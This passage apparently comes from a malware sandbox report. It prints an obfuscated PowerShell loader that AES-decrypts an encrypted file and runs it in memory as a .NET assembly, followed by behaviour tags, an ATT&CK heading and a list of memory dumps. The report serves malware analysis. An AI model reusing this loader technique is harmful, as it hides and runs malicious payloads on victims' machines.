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WASMNZKTV'.Replace('WASMNZKTV','')))))2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_3fyuor00.vpm.ps1
Mands.png
Vile.png
memory/2012-25-0x000001B2EAFC0000-0x000001B2EAFDC000-memory.dmp
memory/2012-4-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-12-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-13-0x000001B2EAAA0000-0x000001B2EAAE6000-memory.dmp
memory/2012-3-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-15-0x00007FF428690000-0x00007FF4286A0000-memory.dmp
memory/2012-22-0x000001B2EAAF0000-0x000001B2EAB0C000-memory.dmp
memory/2012-23-0x000001B2EAEA0000-0x000001B2EAF53000-memory.dmp
memory/2012-24-0x000001B2EAA80000-0x000001B2EAA8A000-memory.dmp
memory/2012-37-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-26-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-11-0x000001B2EA9E0000-0x000001B2EAA02000-memory.dmp
memory/2012-28-0x000001B2EAAF0000-0x000001B2EAB32000-memory.dmp
memory/2012-29-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-30-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-31-0x000001B2EB110000-0x000001B2EB160000-memory.dmp
memory/2012-32-0x000001B2EA8E0000-0x000001B2EA8F0000-memory.dmp
memory/2012-33-0x000001B2E89B0000-0x000001B2E89BC000-memory.dmp
memory/2012-34-0x000001B2EA350000-0x000001B2EA362000-memory.dmp
memory/2012-35-0x000001B2EAF60000-0x000001B2EAFB6000-memory.dmp
memory/2012-36-0x00007FF428690000-0x00007FF4286A0000-memory.dmp
memory/3796-2-0x00000289602E0000-0x00000289602EC000-memory.dmp